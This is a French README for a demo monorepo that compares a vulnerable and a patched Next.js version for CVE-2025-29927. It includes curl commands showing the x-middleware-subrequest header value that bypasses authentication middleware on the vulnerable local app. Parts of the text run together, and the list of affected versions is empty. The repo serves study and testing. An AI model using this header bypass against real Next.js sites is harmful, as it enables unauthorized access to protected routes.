
vulnerable-nextjs-14-CVE-2025-29927
Ce dépôt est un projet monorepo permettant de comparer la vulnérabilité du middleware CVE-2025-29927 avec les versions Next.js 15.2.3 et Next.js 15.1.7.
CVE-2025-29927 est une faille de sécurité découverte dans le middleware de Next.js, qui permet de contourner le middleware d'authentification en utilisant l'en-tête x-middleware-subrequest.
Cette vulnérabilité affecte les versions suivantes :
pnpm installpnpm dev/api/protected est refusé.$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}
$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}
nextjs-cve-2025-29927/
├── apps/
│ ├── next15_1_7/ # Version vulnérable
│ └── next15_2_3/ # Version corrigée
├── packages/
│ └── ui/ # Composants UI partagés
└── README.md